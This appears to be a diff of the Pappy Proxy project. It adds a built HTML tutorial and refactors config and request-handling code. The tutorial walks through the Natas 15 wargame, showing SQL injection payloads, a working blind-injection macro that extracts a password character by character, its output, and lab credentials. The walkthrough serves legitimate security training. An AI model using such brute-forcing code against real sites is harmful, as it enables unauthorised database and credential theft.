+        <span class="k">print</span> <span class="s">&quot;</span><span class="si">%s</span><span class="s"> is not a user&quot;</span> <span class="o">%</span> <span class="n">to_check</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&quot;</span><span class="si">%s</span><span class="s"> is a user!&quot;</span> <span class="o">%</span> <span class="n">to_check</span>
+</pre></div>
+</div>
+<p>Then to run it:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; lma
+Loaded &quot;&lt;Macro Macro 41855887 (brute)&gt;&quot;
+pappy&gt; rma brute admin
+admin is not a user
+pappy&gt; rma brute fooooo
+fooooo is not a user
+pappy&gt; rma brute natas16
+natas16 is a user!
+pappy&gt;
+</pre></div>
+</div>
+<p>Awesome! Notice how we didn&#8217;t have to deal with authentication either. This is because the authentication is handled by the <code class="docutils literal"><span class="pre">Authorization</span></code> header which was included in the generated request.</p>
+<p>Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username:</p>
+<div class="highlight-python"><div class="highlight"><pre>$query = &quot;SELECT * from users where username=\&quot;&quot;.$_REQUEST[&quot;username&quot;].&quot;\&quot;&quot;;
+</pre></div>
+</div>
+<p>So to escape it, we use a payload like:</p>
+<div class="highlight-python"><div class="highlight"><pre>username&quot; OR 1=1; #
+</pre></div>
+</div>
+<p>In this case, any username that ends in <code class="docutils literal"><span class="pre">&quot;</span> <span class="pre">OR</span> <span class="pre">1=1;</span> <span class="pre">#</span></code> will be considered a valid username. Let&#8217;s try this out:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; rma brute &quot;foo\&quot; OR 1=1;&quot;
+foo&quot; OR 1=1; is a user!
+pappy&gt; rma brute &quot;fooooooo\&quot; OR 1=1;&quot;
+fooooooo&quot; OR 1=1; is a user!
+pappy&gt;
+</pre></div>
+</div>
+<p>Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the <code class="docutils literal"><span class="pre">password</span></code> column. We do this with the <code class="docutils literal"><span class="pre">ASCII</span></code> and <code class="docutils literal"><span class="pre">SUBSTRING</span></code> functions. So something like this will check if the first character is an <code class="docutils literal"><span class="pre">A</span></code>.:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="s">&#39;natas16&quot; AND ASCII(SUBSTRING(password, 0, 1)) = 41; #&#39;</span>
+</pre></div>
+</div>
+<p>Alright, let&#8217;s update our macro to find the first character of the password.:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">from</span> <span class="nn">pappyproxy.http</span> <span class="kn">import</span> <span class="n">Request</span><span class="p">,</span> <span class="n">get_request</span><span class="p">,</span> <span class="n">post_request</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.context</span> <span class="kn">import</span> <span class="n">set_tag</span>
+
+<span class="n">MACRO_NAME</span> <span class="o">=</span> <span class="s">&#39;Macro 41855887&#39;</span>
+<span class="n">SHORT_NAME</span> <span class="o">=</span> <span class="s">&#39;&#39;</span>
+
+<span class="c">###########</span>
+<span class="c">## Requests</span>
+<span class="c"># It&#39;s suggested that you call .copy() on these and then edit attributes</span>
+<span class="c"># as needed to create modified requests</span>
+<span class="c">##</span>
+
+
+<span class="n">req1</span> <span class="o">=</span> <span class="n">Request</span><span class="p">((</span>
+    <span class="s">&#39;POST /index.php HTTP/1.1</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Host: natas15.natas.labs.overthewire.org</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept-Language: en-US,en;q=0.5</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept-Encoding: gzip, deflate</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Referer: http://natas15.natas.labs.overthewire.org/</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Connection: keep-alive</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Content-Type: application/x-www-form-urlencoded</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Content-Length: 14</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;username=admin&#39;</span>
+<span class="p">))</span>
+
+<span class="k">def</span> <span class="nf">check_char</span><span class="p">(</span><span class="n">char</span><span class="p">,</span> <span class="n">pos</span><span class="p">):</span>
+    <span class="n">payload</span> <span class="o">=</span> <span class="s">&#39;natas16&quot; AND ASCII(SUBSTRING(password, </span><span class="si">%d</span><span class="s">, 1)) = </span><span class="si">%d</span><span class="s">; #&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">))</span>
+    <span class="n">r</span> <span class="o">=</span> <span class="n">req1</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span>
+    <span class="n">r</span><span class="o">.</span><span class="n">post_params</span><span class="p">[</span><span class="s">&#39;username&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">payload</span>
+    <span class="n">r</span><span class="o">.</span><span class="n">submit</span><span class="p">()</span>
+    <span class="k">if</span> <span class="s">&quot;This user doesn&#39;t exist.&quot;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">response</span><span class="o">.</span><span class="n">raw_data</span><span class="p">:</span>
+        <span class="k">return</span> <span class="bp">False</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">return</span> <span class="bp">True</span>
+
+<span class="k">def</span> <span class="nf">run_macro</span><span class="p">(</span><span class="n">args</span><span class="p">):</span>
+    <span class="n">valid_chars</span> <span class="o">=</span> <span class="s">&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890&quot;</span>
+    <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">valid_chars</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;Trying </span><span class="si">%s</span><span class="s">...&#39;</span> <span class="o">%</span> <span class="n">c</span>
+        <span class="k">if</span> <span class="n">check_char</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span>
+            <span class="k">print</span> <span class="s">&#39;</span><span class="si">%s</span><span class="s"> is the first char!&#39;</span> <span class="o">%</span> <span class="n">c</span>
+            <span class="k">return</span>
+    <span class="k">print</span> <span class="s">&quot;The script didn&#39;t work&quot;</span>
+</pre></div>
+</div>
+<p>And when we run it...:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; lma
+Loaded &quot;&lt;Macro Macro 41855887 (brute)&gt;&quot;
+pappy&gt; rma brute
+Trying a...
+Trying b...
+Trying c...
+Trying d...
+... snip ...
+Trying U...
+Trying V...
+Trying W...
+W is the first char!
+pappy&gt;
+</pre></div>
+</div>
+<p>We find the first character! Woo! Next we just have to do this for each position. Even through we don&#8217;t know the length of the password, we will know that the password is over when none of the characters are valid. So let&#8217;s update our macro:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">sys</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.http</span> <span class="kn">import</span> <span class="n">Request</span><span class="p">,</span> <span class="n">get_request</span><span class="p">,</span> <span class="n">post_request</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.context</span> <span class="kn">import</span> <span class="n">set_tag</span>
+
+<span class="n">MACRO_NAME</span> <span class="o">=</span> <span class="s">&#39;Macro 41855887&#39;</span>
+<span class="n">SHORT_NAME</span> <span class="o">=</span> <span class="s">&#39;&#39;</span>
+
+<span class="c">###########</span>
+<span class="c">## Requests</span>
+<span class="c"># It&#39;s suggested that you call .copy() on these and then edit attributes</span>
+<span class="c"># as needed to create modified requests</span>
+<span class="c">##</span>
+
+
+<span class="n">req1</span> <span class="o">=</span> <span class="n">Request</span><span class="p">((</span>
+    <span class="s">&#39;POST /index.php HTTP/1.1</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Host: natas15.natas.labs.overthewire.org</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept-Language: en-US,en;q=0.5</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Accept-Encoding: gzip, deflate</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Referer: http://natas15.natas.labs.overthewire.org/</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Connection: keep-alive</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Content-Type: application/x-www-form-urlencoded</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;Content-Length: 14</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;</span><span class="se">\r\n</span><span class="s">&#39;</span>
+    <span class="s">&#39;username=admin&#39;</span>
+<span class="p">))</span>
+
+<span class="k">def</span> <span class="nf">check_char</span><span class="p">(</span><span class="n">char</span><span class="p">,</span> <span class="n">pos</span><span class="p">):</span>
+    <span class="n">payload</span> <span class="o">=</span> <span class="s">&#39;natas16&quot; AND ASCII(SUBSTRING(password, </span><span class="si">%d</span><span class="s">, 1)) = </span><span class="si">%d</span><span class="s">; #&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">))</span>
+    <span class="n">r</span> <span class="o">=</span> <span class="n">req1</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span>
+    <span class="n">r</span><span class="o">.</span><span class="n">post_params</span><span class="p">[</span><span class="s">&#39;username&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">payload</span>
+    <span class="n">r</span><span class="o">.</span><span class="n">submit</span><span class="p">()</span>
+    <span class="k">if</span> <span class="s">&quot;This user doesn&#39;t exist.&quot;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">response</span><span class="o">.</span><span class="n">raw_data</span><span class="p">:</span>
+        <span class="k">return</span> <span class="bp">False</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">return</span> <span class="bp">True</span>
+
+<span class="k">def</span> <span class="nf">run_macro</span><span class="p">(</span><span class="n">args</span><span class="p">):</span>
+    <span class="n">valid_chars</span> <span class="o">=</span> <span class="s">&quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890&quot;</span>
+    <span class="n">password</span> <span class="o">=</span> <span class="s">&#39;&#39;</span>
+    <span class="n">done</span> <span class="o">=</span> <span class="bp">False</span>
+    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
+        <span class="n">done</span> <span class="o">=</span> <span class="bp">True</span>
+        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">valid_chars</span><span class="p">:</span>
+            <span class="c"># Print the current char to the current line</span>
+            <span class="k">print</span> <span class="n">c</span><span class="p">,</span>
+            <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
+
+            <span class="c"># Check the current char</span>
+            <span class="k">if</span> <span class="n">check_char</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
+                <span class="c"># We got the correct char!</span>
+                <span class="n">password</span> <span class="o">+=</span> <span class="n">c</span>
+                <span class="c"># Print it to the screen</span>
+                <span class="k">print</span> <span class="s">&#39;&#39;</span>
+                <span class="k">print</span> <span class="s">&#39;</span><span class="si">%s</span><span class="s"> is char </span><span class="si">%d</span><span class="s">!&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
+                <span class="k">print</span> <span class="s">&#39;The password so far is </span><span class="si">%s</span><span class="s">&#39;</span> <span class="o">%</span> <span class="n">password</span>
+                <span class="c"># We have to do another round</span>
+                <span class="n">done</span> <span class="o">=</span> <span class="bp">False</span>
+                <span class="k">break</span>
+        <span class="k">if</span> <span class="n">done</span><span class="p">:</span>
+            <span class="c"># We got through the entire alphabet</span>
+            <span class="k">print</span> <span class="s">&#39;&#39;</span>
+            <span class="k">print</span> <span class="s">&#39;Done! The password is &quot;</span><span class="si">%s</span><span class="s">&quot;&#39;</span> <span class="o">%</span> <span class="n">password</span>
+            <span class="k">break</span>
+</pre></div>
+</div>
+<p>Then we run it:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; lma
+Loaded &quot;&lt;Macro Macro 41855887 (brute)&gt;&quot;
+pappy&gt; rma brute
+a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
+W is char 1!
+The password so far is W
+a
+a is char 2!
+The password so far is Wa
+a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I
+I is char 3!
+The password so far is WaI
+a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H
+H is char 4!
+The password so far is WaIH
+a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E
+
+... snip ...
+
+The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh
+a b c d e f g h i j k l m
+m is char 31!
+The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm
+a b c d e f g h
+h is char 32!
+The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
+a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0
+Done! The password is &quot;WaIHEacj63wnNIBROHeqi3p9t0m5nhmh&quot;
+pappy&gt;
+</pre></div>
+</div>
+<p>Boom! There it is!</p>
+</div>
+</div>
+<div class="section" id="conclusion">
+<h2><a class="toc-backref" href="#id27">Conclusion</a><a class="headerlink" href="#conclusion" title="Permalink to this headline">¶</a></h2>
+<p>That&#8217;s pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren&#8217;t covered in this tutorial. Hopefully you didn&#8217;t find Pappy too hard to use and you&#8217;ll consider it for your next engagement.</p>
+</div>
+</div>
+
+
+          </div>
+        </div>
+      </div>
+      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
+        <div class="sphinxsidebarwrapper">
+  <h3><a href="index.html">Table Of Contents</a></h3>
+  <ul>
+<li><a class="reference internal" href="#">The Pappy Proxy Tutorial</a><ul>
+<li><a class="reference internal" href="#getting-set-up">Getting Set Up</a><ul>
+<li><a class="reference internal" href="#introduction">Introduction</a></li>
+<li><a class="reference internal" href="#getting-started">Getting Started</a></li>
+<li><a class="reference internal" href="#installing-pappy-s-ca-cert">Installing Pappy&#8217;s CA Cert</a><ul>
+<li><a class="reference internal" href="#installing-the-cert-in-firefox">Installing the Cert in Firefox</a></li>
+<li><a class="reference internal" href="#installing-the-cert-in-chrome">Installing the Cert in Chrome</a></li>
+<li><a class="reference internal" href="#installing-the-cert-in-safari">Installing the Cert in Safari</a></li>
+<li><a class="reference internal" href="#installing-the-cert-in-internet-explorer">Installing the Cert in Internet Explorer</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#configuring-your-browser">Configuring Your Browser</a></li>
+<li><a class="reference internal" href="#testing-it-out">Testing it Out</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#the-tutorial">The Tutorial</a><ul>
+<li><a class="reference internal" href="#setting-the-scope">Setting the Scope</a></li>
+<li><a class="reference internal" href="#natas-0">Natas 0</a></li>
+<li><a class="reference internal" href="#natas-1">Natas 1</a></li>
+<li><a class="reference internal" href="#natas-2">Natas 2</a></li>
+<li><a class="reference internal" href="#natas-3">Natas 3</a></li>
+<li><a class="reference internal" href="#finding-your-passwords-later-how-to-use-filters">Finding Your Passwords Later (How to Use Filters)</a><ul>
+<li><a class="reference internal" href="#filters">Filters</a></li>
+<li><a class="reference internal" href="#finding-passwords">Finding Passwords</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#natas-4">Natas 4</a></li>
+<li><a class="reference internal" href="#natas-5">Natas 5</a></li>
+<li><a class="reference internal" href="#natas-6">Natas 6</a></li>
+<li><a class="reference internal" href="#natas-7">Natas 7</a></li>
+<li><a class="reference internal" href="#natas-8">Natas 8</a></li>
+<li><a class="reference internal" href="#natas-9">Natas 9</a></li>
+<li><a class="reference internal" href="#skip-a-few-natas-15">Skip a few... Natas 15</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#conclusion">Conclusion</a></li>
+</ul>
+</li>
+</ul>
+
+  <h4>Previous topic</h4>
+  <p class="topless"><a href="overview.html"
+                        title="previous chapter">The Pappy Proxy</a></p>
+  <h4>Next topic</h4>
+  <p class="topless"><a href="pappyplugins.html"
+                        title="next chapter">Writing Plugins for the Pappy Proxy</a></p>
+  <div role="note" aria-label="source link">
+    <h3>This Page</h3>
+    <ul class="this-page-menu">
+      <li><a href="_sources/tutorial.txt"
+            rel="nofollow">Show Source</a></li>
+    </ul>
+   </div>
+<div id="searchbox" style="display: none" role="search">
+  <h3>Quick search</h3>
+    <form class="search" action="search.html" method="get">
+      <input type="text" name="q" />
+      <input type="submit" value="Go" />
+      <input type="hidden" name="check_keywords" value="yes" />
+      <input type="hidden" name="area" value="default" />
+    </form>
+    <p class="searchtip" style="font-size: 90%">
+    Enter search terms or a module, class or function name.
+    </p>
+</div>
+<script type="text/javascript">$('#searchbox').show(0);</script>
+        </div>
+      </div>
+      <div class="clearer"></div>
+    </div>
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="genindex.html" title="General Index"
+             >index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="right" >
+          <a href="pappyplugins.html" title="Writing Plugins for the Pappy Proxy"
+             >next</a> |</li>
+        <li class="right" >
+          <a href="overview.html" title="The Pappy Proxy"
+             >previous</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>
+    <div class="footer" role="contentinfo">
+        &copy; Copyright 2015, Rob Glew.
+      Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.3.3.
+    </div>
+  </body>
+</html>

docs/source/conf.py

@@ -59,9 +59,9 @@ author = u'Rob Glew'
 # built documents.
 #
 # The short X.Y version.
-version = u'0.2.0'
+version = u'0.2.1'
 # The full version, including alpha/beta/rc tags.
-release = u'0.2.0'
+release = u'0.2.1'
 
 # The language for content autogenerated by Sphinx. Refer to documentation
 # for a list of supported languages.

pappyproxy/config.py

@@ -57,6 +57,12 @@ The configuration settings for the proxy.
     The dictionary read from config.json. When writing plugins, use this to load
     configuration options for your plugin.
 
+.. data: GLOBAL_CONFIG_DICT
+
+    The dictionary from ~/.pappy/global_config.json. It contains settings for
+    Pappy that are specific to the current computer. Avoid putting settings here,
+    especially if it involves specific projects.
+
 """
 
 import json
@@ -65,7 +71,6 @@ import shutil
 
 PAPPY_DIR = os.path.dirname(os.path.realpath(__file__))
 DATA_DIR = os.path.join(os.path.expanduser('~'), '.pappy')
-DATA_DIR
 
 CERT_DIR = os.path.join(DATA_DIR, 'certs')
 
@@ -83,6 +88,7 @@ SSL_PKEY_FILE = 'private.key'
 PLUGIN_DIRS = [os.path.join(DATA_DIR, 'plugins'), os.path.join(PAPPY_DIR, 'plugins')]
 
 CONFIG_DICT = {}
+GLOBAL_CONFIG_DICT = {}
 
 def get_default_config():
     default_config_file = os.path.join(os.path.dirname(os.path.realpath(__file__)),
@@ -105,7 +111,7 @@ def load_settings(proj_config):
 
     # Substitution dictionary
     subs = {}
-    #subs['PAPPYDIR'] = PAPPY_DIR
+    subs['PAPPYDIR'] = PAPPY_DIR
     subs['DATADIR'] = DATA_DIR
 
     # Data file settings
@@ -128,6 +134,15 @@ def load_settings(proj_config):
         for l in proj_config["proxy_listeners"]:
             LISTENERS.append((l['port'], l['interface']))
 
+def load_global_settings(global_config):
+    from .http import Request
+    global CACHE_SIZE
+
+    if "cache_size" in global_config:
+        CACHE_SIZE = global_config['cache_size']
+    else:
+        CACHE_SIZE = 2000
+    Request.cache.resize(CACHE_SIZE)
 
 def load_from_file(fname):
     global CONFIG_DICT
@@ -142,3 +157,19 @@ def load_from_file(fname):
     with open(fname, 'r') as f:
         CONFIG_DICT = json.load(f)
     load_settings(CONFIG_DICT)
+
+def global_load_from_file():
+    global GLOBAL_CONFIG_DICT
+    global DATA_DIR
+    # Make sure we have a config file
+    fname = os.path.join(DATA_DIR, 'global_config.json')
+    if not os.path.isfile(fname):
+        print "Copying default global config to %s" % fname
+        default_global_config_file = os.path.join(PAPPY_DIR,
+                                                  'default_global_config.json')
+        shutil.copyfile(default_global_config_file, fname)
+
+    # Load local project config
+    with open(fname, 'r') as f:
+        GLOBAL_CONFIG_DICT = json.load(f)
+    load_global_settings(GLOBAL_CONFIG_DICT)

pappyproxy/console.py

@@ -23,7 +23,7 @@ def print_pappy_errors(func):
     return catch
 
 @defer.inlineCallbacks
-def load_reqlist(line, allow_special=True):
+def load_reqlist(line, allow_special=True, ids_only=False):
     """
     load_reqlist(line, allow_special=True)
     A helper function for parsing a list of requests that are passed as an
@@ -40,13 +40,16 @@ def load_reqlist(line, allow_special=True):
     # prints any errors
     ids = re.split(',\s*', line)
     reqs = []
-    for reqid in ids:
-        try:
-            req = yield Request.load_request(reqid, allow_special)
-            reqs.append(req)
-        except PappyException as e:
-            print e
-    defer.returnValue(reqs)
+    if not ids_only:
+        for reqid in ids:
+            try:
+                req = yield Request.load_request(reqid, allow_special)
+                reqs.append(req)
+            except PappyException as e:
+                print e
+        defer.returnValue(reqs)
+    else:
+        defer.returnValue(ids)
 
 def print_table(coldata, rows):
     """
@@ -122,41 +125,68 @@ def print_requests(requests):
         {'name':'Mngl'},
     ]
     rows = []
-    for request in requests:
-        rid = request.reqid
-        method = request.verb
-        if 'host' in request.headers:
-            host = request.headers['host']
-        else:
-            host = '??'
-        path = request.full_path
-        reqlen = len(request.body)
-        rsplen = 'N/A'
-        mangle_str = '--'
+    for req in requests:
+        rows.append(get_req_data_row(req))
+    print_table(cols, rows)
 
-        if request.unmangled:
-            mangle_str = 'q'
-            
-        if request.response:
-            response_code = str(request.response.response_code) + \
-                ' ' + request.response.response_text
-            rsplen = len(request.response.body)
-            if request.response.unmangled:
-                if mangle_str == '--':
-                    mangle_str = 's'
-                else:
-                    mangle_str += '/s'
-        else:
-            response_code = ''
+def print_request_rows(request_rows):
+    """
+    Takes in a list of request rows generated from :func:`pappyproxy.console.get_req_data_row`
+    and prints a table with data on each of the
+    requests. Used instead of :func:`pappyproxy.console.print_requests` if you
+    can't count on storing all the requests in memory at once.
+    """
+    # Print a table with info on all the requests in the list
+    cols = [
+        {'name':'ID'},
+        {'name':'Verb'},
+        {'name': 'Host'},
+        {'name':'Path', 'width':40},
+        {'name':'S-Code'},
+        {'name':'Req Len'},
+        {'name':'Rsp Len'},
+        {'name':'Time'},
+        {'name':'Mngl'},
+    ]
+    print_table(cols, request_rows)
+    
+def get_req_data_row(request):
+    """
+    Get the row data for a request to be printed.
+    """
+    rid = request.reqid
+    method = request.verb
+    if 'host' in request.headers:
+        host = request.headers['host']
+    else:
+        host = '??'
+    path = request.full_path
+    reqlen = len(request.body)
+    rsplen = 'N/A'
+    mangle_str = '--'
 
-        time_str = '--'
-        if request.time_start and request.time_end:
-            time_delt = request.time_end - request.time_start
-            time_str = "%.2f" % time_delt.total_seconds()
+    if request.unmangled:
+        mangle_str = 'q'
 
-        rows.append([rid, method, host, path, response_code,
-                     reqlen, rsplen, time_str, mangle_str])
-    print_table(cols, rows)
+    if request.response:
+        response_code = str(request.response.response_code) + \
+            ' ' + request.response.response_text
+        rsplen = len(request.response.body)
+        if request.response.unmangled:
+            if mangle_str == '--':
+                mangle_str = 's'
+            else:
+                mangle_str += '/s'
+    else:
+        response_code = ''
+
+    time_str = '--'
+    if request.time_start and request.time_end:
+        time_delt = request.time_end - request.time_start
+        time_str = "%.2f" % time_delt.total_seconds()
+
+    return [rid, method, host, path, response_code,
+            reqlen, rsplen, time_str, mangle_str]
     
 def confirm(message, default='n'):
     """

pappyproxy/context.py

@@ -3,7 +3,8 @@ import pappyproxy
 import re
 import shlex
 
-from . import http
+from .http import Request, RepeatableDict
+from .requestcache import RequestCache
 from twisted.internet import defer
 from util import PappyException
 
@@ -28,28 +29,10 @@ class Context(object):
     :type inactive_requests: Request
     """
 
-    all_reqs = set()
-    """
-    Class variable! All requests in history. Do not directly add requests to this set. Instead,
-    use :func:`pappyproxy.context.Context.add_request` on some context. It will
-    automatically be added to this set.
-    """
-
-    in_memory_requests = set()
-    """
-    Class variable! Requests that are only stored in memory. These are the requests with ``m##``
-    style IDs. Do not directly add requests to this set. Instead, use
-    :func:`pappyproxy.context.Context.add_request` on some context with a request
-    that has not been saved. It will automatically be assigned a ``m##`` id and
-    be added to this set.
-    """
-
-    _next_in_mem_id = 1
-
     def __init__(self):
         self.active_filters = []
-        self.active_requests = set()
-        self.inactive_requests = set()
+        self.complete = True
+        self.active_requests = []
 
     @staticmethod
     def get_memid():
@@ -57,11 +40,9 @@ class Context(object):
         Context._next_in_mem_id += 1
         return i
 
-    def filter_recheck(self):
-        self.inactive_requests = set()
-        self.active_requests = set()
-        for req in Context.all_reqs:
-            self.add_request(req)
+    def cache_reset(self):
+        self.active_requests = []
+        self.complete = False
         
     def add_filter(self, filt):
         """
@@ -72,59 +53,7 @@ class Context(object):
         :type filt: Function that takes one :class:`pappyproxy.http.Request` and returns either true or false. (or a :class:`pappyproxy.context.Filter`)
         """
         self.active_filters.append(filt)
-        (new_active, deleted) = filter_reqs(self.active_requests, self.active_filters)
-        self.active_requests = set(new_active)
-        for r in deleted:
-            self.inactive_requests.add(r)
-        
-    def add_request(self, req):
-        """
-        Adds a request to the context. If the request passes all of the context's
-        filters, it will be placed in the ``active_requests`` set. If it does not,
-        it will be placed in the ``inactive_requests`` set. Either way, it will
-        be added to ``all_reqs`` and if appropriate, ``in_memory_requests``.
-
-        :param req: The request to add
-        :type req: Request
-        """
-        # Check if we have to add it to in_memory
-        if not req.reqid:
-            req.reqid = Context.get_memid()
-        if req.reqid[0] == 'm':
-            Context.in_memory_requests.add(req)
-    
-        # Check if we have to add it to active_requests
-        if passes_filters(req, self.active_filters):
-            self.active_requests.add(req)
-        else:
-            self.inactive_requests.add(req)
-    
-        # Add it to all_reqs
-        Context.all_reqs.add(req)
-        
-    @staticmethod
-    def remove_request(req):
-        """
-        Removes request from all contexts. It is suggested that you use
-        :func:`pappyproxy.http.Request.deep_delete` instead as this will
-        remove the request (and its unmangled version, response, and
-        unmangled response) from the data file as well. Otherwise it will
-        just be put back into the context when Pappy is restarted.
-
-        :param req: The request to remove
-        :type req: Request
-        """
-        if req in Context.all_reqs:
-            Context.all_reqs.remove(req)
-        if req in Context.in_memory_requests:
-            Context.in_memory_requests.remove(req)
-
-        # Remove it from all other contexts
-        for c in pappyproxy.pappy.all_contexts:
-            if req in c.inactive_requests:
-                c.inactive_requests.remove(req)
-            if req in c.active_requests:
-                c.active_requests.remove(req)
+        self.cache_reset()
 
     def filter_up(self):
         """
@@ -133,15 +62,40 @@ class Context(object):
         # Deletes the last filter of the context
         if self.active_filters:
             self.active_filters = self.active_filters[:-1]
-        self.filter_recheck()
+        self.cache_reset()
 
     def set_filters(self, filters):
         """
         Set the list of filters for the context.
         """
         self.active_filters = filters[:]
-        self.filter_recheck()
+        self.cache_reset()
 
+    @defer.inlineCallbacks
+    def get_reqs(self, n=-1):
+        # This is inefficient but I want it to work for now, and as long as we
+        # don't put the full requests in memory I don't care.
+        ids = self.active_requests
+        if (len(ids) >= n and n != -1) or self.complete == True:
+            if n == -1:
+                defer.returnValue(ids)
+            else:
+                defer.returnValue(ids[:n])
+        ids = []
+        for req_d in Request.cache.req_it():
+            r = yield req_d
+            passed = True
+            for filt in self.active_filters:
+                if not filt(r):
+                    passed = False
+                    break
+            if passed:
+                self.active_requests.append(r.reqid)
+                ids.append(r.reqid)
+            if len(ids) >= n and n != -1:
